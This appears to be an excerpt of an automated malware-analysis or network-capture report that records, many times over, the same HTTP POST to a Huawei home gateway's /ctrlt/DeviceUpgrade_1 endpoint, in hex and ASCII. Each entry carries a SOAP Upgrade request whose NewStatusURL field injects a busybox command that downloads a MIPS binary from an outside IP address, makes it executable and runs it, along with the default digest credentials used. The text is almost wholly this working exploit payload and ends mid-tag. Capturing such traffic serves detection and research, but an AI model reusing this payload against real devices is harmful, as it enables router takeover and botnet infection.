65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade 